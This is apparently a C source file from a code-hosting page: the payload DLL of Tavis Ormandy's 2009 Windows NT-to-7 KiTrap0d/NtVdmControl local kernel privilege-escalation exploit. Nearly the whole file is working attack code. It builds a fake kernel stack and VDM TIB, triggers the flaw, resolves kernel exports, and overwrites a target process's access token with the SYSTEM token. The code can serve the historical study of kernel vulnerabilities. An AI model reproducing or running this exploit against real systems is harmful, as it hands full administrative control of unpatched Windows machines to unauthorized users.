358 lines
13 KiB
C
358 lines
13 KiB
C
|
//
|
||
|
// --------------------------------------------------
|
||
|
// Windows NT/2K/XP/2K3/VISTA/2K8/7 NtVdmControl()->KiTrap0d local ring0 exploit
|
||
|
// -------------------------------------------- taviso@sdf.lonestar.org ---
|
||
|
//
|
||
|
// Tavis Ormandy, June 2009.
|
||
|
//
|
||
|
// Tested on:
|
||
|
// $ cmd /c ver
|
||
|
// Microsoft Windows [Version 5.2.3790]
|
||
|
//
|
||
|
// This file contains the exploit payload and VDM Subsystem control routines.
|
||
|
//
|
||
|
|
||
|
#ifndef WIN32_NO_STATUS
|
||
|
# define WIN32_NO_STATUS // I prefer the definitions from ntstatus.h
|
||
|
#endif
|
||
|
#include <windows.h>
|
||
|
#include <assert.h>
|
||
|
#include <stdio.h>
|
||
|
#include <winerror.h>
|
||
|
#include <winternl.h>
|
||
|
#include <stddef.h>
|
||
|
#ifdef WIN32_NO_STATUS
|
||
|
# undef WIN32_NO_STATUS
|
||
|
#endif
|
||
|
#include <ntstatus.h>
|
||
|
|
||
|
// Process to escalate to SYSTEM
|
||
|
static DWORD TargetPid;
|
||
|
|
||
|
// Pointer to fake kernel stack.
|
||
|
static PDWORD KernelStackPointer;
|
||
|
|
||
|
#define KernelStackSize 1024
|
||
|
|
||
|
// Enforce byte alignment by default
|
||
|
#pragma pack(1)
|
||
|
|
||
|
// Kernel module handle
|
||
|
static HMODULE KernelHandle;
|
||
|
|
||
|
// Eflags macros
|
||
|
#define EFLAGS_CF_MASK 0x00000001 // carry flag
|
||
|
#define EFLAGS_PF_MASK 0x00000004 // parity flag
|
||
|
#define EFLAGS_AF_MASK 0x00000010 // auxiliary carry flag
|
||
|
#define EFLAGS_ZF_MASK 0x00000040 // zero flag
|
||
|
#define EFLAGS_SF_MASK 0x00000080 // sign flag
|
||
|
#define EFLAGS_TF_MASK 0x00000100 // trap flag
|
||
|
#define EFLAGS_IF_MASK 0x00000200 // interrupt flag
|
||
|
#define EFLAGS_DF_MASK 0x00000400 // direction flag
|
||
|
#define EFLAGS_OF_MASK 0x00000800 // overflow flag
|
||
|
#define EFLAGS_IOPL_MASK 0x00003000 // I/O privilege level
|
||
|
#define EFLAGS_NT_MASK 0x00004000 // nested task
|
||
|
#define EFLAGS_RF_MASK 0x00010000 // resume flag
|
||
|
#define EFLAGS_VM_MASK 0x00020000 // virtual 8086 mode
|
||
|
#define EFLAGS_AC_MASK 0x00040000 // alignment check
|
||
|
#define EFLAGS_VIF_MASK 0x00080000 // virtual interrupt flag
|
||
|
#define EFLAGS_VIP_MASK 0x00100000 // virtual interrupt pending
|
||
|
#define EFLAGS_ID_MASK 0x00200000 // identification flag
|
||
|
|
||
|
#ifndef PAGE_SIZE
|
||
|
# define PAGE_SIZE 0x1000
|
||
|
#endif
|
||
|
|
||
|
// http://svn.reactos.org/reactos/trunk/reactos/include/ndk/ketypes.h
|
||
|
enum { VdmStartExecution = 0, VdmInitialize = 3 };
|
||
|
|
||
|
VOID FirstStage();
|
||
|
BOOL InitializeVdmSubsystem();
|
||
|
PVOID KernelGetProcByName(PSTR);
|
||
|
BOOL FindAndReplaceMember(PDWORD, DWORD, DWORD, DWORD, BOOL);
|
||
|
|
||
|
// This routine is where I land after successfully triggering the vulnerability.
|
||
|
VOID FirstStage()
|
||
|
{
|
||
|
FARPROC DbgPrint;
|
||
|
FARPROC PsGetCurrentThread;
|
||
|
FARPROC PsGetCurrentThreadStackBase, PsGetCurrentThreadStackLimit;
|
||
|
FARPROC PsLookupProcessByProcessId;
|
||
|
FARPROC PsReferencePrimaryToken;
|
||
|
FARPROC ZwTerminateProcess;
|
||
|
PVOID CurrentThread;
|
||
|
PVOID TargetProcess, *PsInitialSystemProcess;
|
||
|
DWORD StackBase, StackLimit;
|
||
|
DWORD i;
|
||
|
|
||
|
// Keep interrupts off until I've repaired my KTHREAD.
|
||
|
__asm cli
|
||
|
|
||
|
// Resolve some routines I need from the kernel export directory
|
||
|
DbgPrint = KernelGetProcByName("DbgPrint");
|
||
|
PsGetCurrentThread = KernelGetProcByName("PsGetCurrentThread");
|
||
|
PsGetCurrentThreadStackBase = KernelGetProcByName("PsGetCurrentThreadStackBase");
|
||
|
PsGetCurrentThreadStackLimit = KernelGetProcByName("PsGetCurrentThreadStackLimit");
|
||
|
PsInitialSystemProcess = KernelGetProcByName("PsInitialSystemProcess");
|
||
|
PsLookupProcessByProcessId = KernelGetProcByName("PsLookupProcessByProcessId");
|
||
|
PsReferencePrimaryToken = KernelGetProcByName("PsReferencePrimaryToken");
|
||
|
ZwTerminateProcess = KernelGetProcByName("ZwTerminateProcess");
|
||
|
|
||
|
CurrentThread = (PVOID) PsGetCurrentThread();
|
||
|
StackLimit = (DWORD) PsGetCurrentThreadStackLimit();
|
||
|
StackBase = (DWORD) PsGetCurrentThreadStackBase();
|
||
|
|
||
|
DbgPrint("FirstStage() Loaded, CurrentThread @%p Stack %p - %p",
|
||
|
CurrentThread,
|
||
|
StackBase,
|
||
|
StackLimit);
|
||
|
|
||
|
// First I need to repair my CurrentThread, find all references to my fake kernel
|
||
|
// stack and repair them. Note that by "repair" I mean randomly point them
|
||
|
// somewhere inside the real stack.
|
||
|
DbgPrint("Repairing references to %p-%p in CurrentThread@%p...",
|
||
|
&KernelStackPointer[0],
|
||
|
&KernelStackPointer[KernelStackSize - 1],
|
||
|
CurrentThread);
|
||
|
|
||
|
// For every stack location, try to find all references to it in my
|
||
|
// CurrentThread.
|
||
|
for (i = 0; i < KernelStackSize; i++) {
|
||
|
// The size of this structure varies between kernels, whats the maximum
|
||
|
// size likely to be?
|
||
|
CONST DWORD MaxExpectedEthreadSize = 0x200;
|
||
|
|
||
|
// Find and repair all references to this location
|
||
|
while (FindAndReplaceMember((PDWORD) CurrentThread,
|
||
|
(DWORD) &KernelStackPointer[i],
|
||
|
(DWORD) StackBase - ((StackBase - StackLimit) / 2),
|
||
|
MaxExpectedEthreadSize,
|
||
|
FALSE))
|
||
|
;
|
||
|
}
|
||
|
|
||
|
// Find the EPROCESS structure for the process I want to escalate
|
||
|
if (PsLookupProcessByProcessId(TargetPid, &TargetProcess) == STATUS_SUCCESS) {
|
||
|
PACCESS_TOKEN SystemToken;
|
||
|
PACCESS_TOKEN TargetToken;
|
||
|
|
||
|
// What's the maximum size the EPROCESS structure is ever likely to be?
|
||
|
CONST DWORD MaxExpectedEprocessSize = 0x200;
|
||
|
|
||
|
DbgPrint("PsLookupProcessByProcessId(%u) => %p", TargetPid, TargetProcess);
|
||
|
DbgPrint("PsInitialSystemProcess @%p", *PsInitialSystemProcess);
|
||
|
|
||
|
// Find the Token object for my target process, and the SYSTEM process.
|
||
|
TargetToken = (PACCESS_TOKEN) PsReferencePrimaryToken(TargetProcess);
|
||
|
SystemToken = (PACCESS_TOKEN) PsReferencePrimaryToken(*PsInitialSystemProcess);
|
||
|
|
||
|
DbgPrint("PsReferencePrimaryToken(%p) => %p", TargetProcess, TargetToken);
|
||
|
DbgPrint("PsReferencePrimaryToken(%p) => %p", *PsInitialSystemProcess, SystemToken);
|
||
|
|
||
|
// Find the token in the target process, and replace with the system token.
|
||
|
FindAndReplaceMember((PDWORD) TargetProcess,
|
||
|
(DWORD) TargetToken,
|
||
|
(DWORD) SystemToken,
|
||
|
MaxExpectedEprocessSize,
|
||
|
TRUE);
|
||
|
|
||
|
// Success, try to terminate the current process.
|
||
|
ZwTerminateProcess(GetCurrentProcess(), 'w00t');
|
||
|
} else {
|
||
|
// Maybe the user closed the window?
|
||
|
DbgPrint("PsLookupProcessByProcessId(%u) Failed", TargetPid);
|
||
|
|
||
|
// Report this failure
|
||
|
ZwTerminateProcess(GetCurrentProcess(), 'LPID');
|
||
|
}
|
||
|
|
||
|
// Oops, Something went wrong, restore interrupts and spin here.
|
||
|
__asm sti
|
||
|
|
||
|
for (;;) __asm pause
|
||
|
}
|
||
|
|
||
|
// Search the specified data structure for a member with CurrentValue.
|
||
|
BOOL FindAndReplaceMember(PDWORD Structure,
|
||
|
DWORD CurrentValue,
|
||
|
DWORD NewValue,
|
||
|
DWORD MaxSize,
|
||
|
BOOL ObjectRefs)
|
||
|
{
|
||
|
DWORD i, Mask;
|
||
|
|
||
|
// Microsoft QWORD aligns object pointers, then uses the lower three
|
||
|
// bits for quick reference counting (nice trick).
|
||
|
Mask = ObjectRefs ? ~7 : ~0;
|
||
|
|
||
|
// Mask out the reference count.
|
||
|
CurrentValue &= Mask;
|
||
|
|
||
|
// Scan the structure for any occurrence of CurrentValue.
|
||
|
for (i = 0; i < MaxSize; i++) {
|
||
|
if ((Structure[i] & Mask) == CurrentValue) {
|
||
|
// And finally, replace it with NewValue.
|
||
|
Structure[i] = NewValue;
|
||
|
return TRUE;
|
||
|
}
|
||
|
}
|
||
|
|
||
|
// Member not found.
|
||
|
return FALSE;
|
||
|
}
|
||
|
|
||
|
// Find an exported kernel symbol by name.
|
||
|
PVOID KernelGetProcByName(PSTR SymbolName)
|
||
|
{
|
||
|
PUCHAR ImageBase;
|
||
|
PULONG NameTable;
|
||
|
PULONG FunctionTable;
|
||
|
PUSHORT OrdinalTable;
|
||
|
PIMAGE_EXPORT_DIRECTORY ExportDirectory;
|
||
|
PIMAGE_DOS_HEADER DosHeader;
|
||
|
PIMAGE_NT_HEADERS PeHeader;
|
||
|
DWORD i;
|
||
|
|
||
|
ImageBase = (PUCHAR) KernelHandle;
|
||
|
DosHeader = (PIMAGE_DOS_HEADER) ImageBase;
|
||
|
PeHeader = (PIMAGE_NT_HEADERS)(ImageBase + DosHeader->e_lfanew);
|
||
|
ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(ImageBase
|
||
|
+ PeHeader->OptionalHeader
|
||
|
. DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]
|
||
|
. VirtualAddress);
|
||
|
|
||
|
// Find required tablesa from the ExportDirectory.
|
||
|
NameTable = (PULONG)(ImageBase + ExportDirectory->AddressOfNames);
|
||
|
FunctionTable = (PULONG)(ImageBase + ExportDirectory->AddressOfFunctions);
|
||
|
OrdinalTable = (PUSHORT)(ImageBase + ExportDirectory->AddressOfNameOrdinals);
|
||
|
|
||
|
// Scan each entry for a matching name.
|
||
|
for (i = 0; i < ExportDirectory->NumberOfNames; i++) {
|
||
|
PCHAR Symbol = ImageBase + NameTable[i];
|
||
|
|
||
|
if (strcmp(Symbol, SymbolName) == 0) {
|
||
|
// Symbol found, return the appropriate entry from FunctionTable.
|
||
|
return (PVOID)(ImageBase + FunctionTable[OrdinalTable[i]]);
|
||
|
}
|
||
|
}
|
||
|
|
||
|
// Symbol not found, this is likely fatal :-(
|
||
|
return NULL;
|
||
|
}
|
||
|
|
||
|
// Exploit entrypoint.
|
||
|
BOOL APIENTRY DllMain(HMODULE Module, DWORD Reason, LPVOID Reserved)
|
||
|
{
|
||
|
CONST DWORD MinimumExpectedVdmTibSize = 0x400;
|
||
|
CONST DWORD MaximumExpectedVdmTibSize = 0x800;
|
||
|
FARPROC NtVdmControl;
|
||
|
DWORD KernelStack[KernelStackSize];
|
||
|
DWORD Ki386BiosCallReturnAddress;
|
||
|
CHAR Pid[32], Off[32], Krn[32];
|
||
|
struct {
|
||
|
ULONG Size;
|
||
|
PVOID Padding0;
|
||
|
PVOID Padding1;
|
||
|
CONTEXT Padding2;
|
||
|
CONTEXT VdmContext;
|
||
|
DWORD Padding3[1024];
|
||
|
} VdmTib = {0};
|
||
|
|
||
|
// Initialise these structures with recognisable constants to ease debugging.
|
||
|
FillMemory(&VdmTib, sizeof VdmTib, 'V');
|
||
|
FillMemory(&KernelStack, sizeof KernelStack, 'K');
|
||
|
|
||
|
// Parent passes parameters via environment variables.
|
||
|
//
|
||
|
// - VDM_TARGET_PID
|
||
|
// Pid of the process to transplant a SYSTEM token onto.
|
||
|
// - VDM_TARGET_OFF
|
||
|
// Offset from ntoskrnl of Ki386BiosCallReturnAddress.
|
||
|
// - VDM_TARGET_KRN
|
||
|
// Ntoskrnl base address.
|
||
|
|
||
|
GetEnvironmentVariable("VDM_TARGET_PID", Pid, sizeof Pid);
|
||
|
GetEnvironmentVariable("VDM_TARGET_KRN", Krn, sizeof Krn);
|
||
|
GetEnvironmentVariable("VDM_TARGET_OFF", Off, sizeof Off);
|
||
|
|
||
|
NtVdmControl = GetProcAddress(GetModuleHandle("NTDLL"), "NtVdmControl");
|
||
|
TargetPid = strtoul(Pid, NULL, 0);
|
||
|
|
||
|
// Setup the fake kernel stack, and install a minimal VDM_TIB,
|
||
|
KernelStackPointer = KernelStack;
|
||
|
KernelStack[0] = (DWORD) &KernelStack[8]; // Esp
|
||
|
KernelStack[1] = (DWORD) NtCurrentTeb(); // Teb
|
||
|
KernelStack[2] = (DWORD) NtCurrentTeb(); // Teb
|
||
|
KernelStack[7] = (DWORD) FirstStage; // RetAddr
|
||
|
KernelHandle = (HMODULE) strtoul(Krn, NULL, 0);
|
||
|
VdmTib.Size = MinimumExpectedVdmTibSize;
|
||
|
*NtCurrentTeb()->Reserved4 = &VdmTib;
|
||
|
|
||
|
// Initialize the VDM Subsystem.
|
||
|
InitializeVdmSubsystem();
|
||
|
|
||
|
VdmTib.Size = MinimumExpectedVdmTibSize;
|
||
|
VdmTib.VdmContext.SegCs = 0x0B;
|
||
|
VdmTib.VdmContext.Esi = (DWORD) &KernelStack;
|
||
|
VdmTib.VdmContext.Eip = strtoul(Krn, NULL, 0) + strtoul(Off, NULL, 0);
|
||
|
VdmTib.VdmContext.EFlags = EFLAGS_TF_MASK;
|
||
|
*NtCurrentTeb()->Reserved4 = &VdmTib;
|
||
|
|
||
|
// Trigger the vulnerable code via NtVdmControl().
|
||
|
while (VdmTib.Size++ < MaximumExpectedVdmTibSize)
|
||
|
NtVdmControl(VdmStartExecution, NULL);
|
||
|
|
||
|
// Unable to find correct VdmTib size.
|
||
|
ExitThread('VTIB');
|
||
|
}
|
||
|
|
||
|
// Setup a minimal execution environment to satisfy NtVdmControl().
|
||
|
BOOL InitializeVdmSubsystem()
|
||
|
{
|
||
|
FARPROC NtAllocateVirtualMemory;
|
||
|
FARPROC NtFreeVirtualMemory;
|
||
|
FARPROC NtVdmControl;
|
||
|
PBYTE BaseAddress;
|
||
|
ULONG RegionSize;
|
||
|
static DWORD TrapHandler[128];
|
||
|
static DWORD IcaUserData[128];
|
||
|
static struct {
|
||
|
PVOID TrapHandler;
|
||
|
PVOID IcaUserData;
|
||
|
} InitData;
|
||
|
|
||
|
NtAllocateVirtualMemory = GetProcAddress(GetModuleHandle("NTDLL"), "NtAllocateVirtualMemory");
|
||
|
NtFreeVirtualMemory = GetProcAddress(GetModuleHandle("NTDLL"), "NtFreeVirtualMemory");
|
||
|
NtVdmControl = GetProcAddress(GetModuleHandle("NTDLL"), "NtVdmControl");
|
||
|
BaseAddress = (PVOID) 0x00000001;
|
||
|
RegionSize = (ULONG) 0x00000000;
|
||
|
InitData.TrapHandler = TrapHandler;
|
||
|
InitData.IcaUserData = IcaUserData;
|
||
|
|
||
|
// Remove anything currently mapped at NULL
|
||
|
NtFreeVirtualMemory(GetCurrentProcess(), &BaseAddress, &RegionSize, MEM_RELEASE);
|
||
|
|
||
|
BaseAddress = (PVOID) 0x00000001;
|
||
|
RegionSize = (ULONG) 0x00100000;
|
||
|
|
||
|
// Allocate the 1MB virtual 8086 address space.
|
||
|
if (NtAllocateVirtualMemory(GetCurrentProcess(),
|
||
|
&BaseAddress,
|
||
|
0,
|
||
|
&RegionSize,
|
||
|
MEM_COMMIT | MEM_RESERVE,
|
||
|
PAGE_EXECUTE_READWRITE) != STATUS_SUCCESS) {
|
||
|
ExitThread('NTAV');
|
||
|
return FALSE;
|
||
|
}
|
||
|
|
||
|
// Finalise the initialisation.
|
||
|
if (NtVdmControl(VdmInitialize, &InitData) != STATUS_SUCCESS) {
|
||
|
ExitThread('VDMC');
|
||
|
return FALSE;
|
||
|
}
|
||
|
|
||
|
return TRUE;
|
||
|
}
|
||
|
|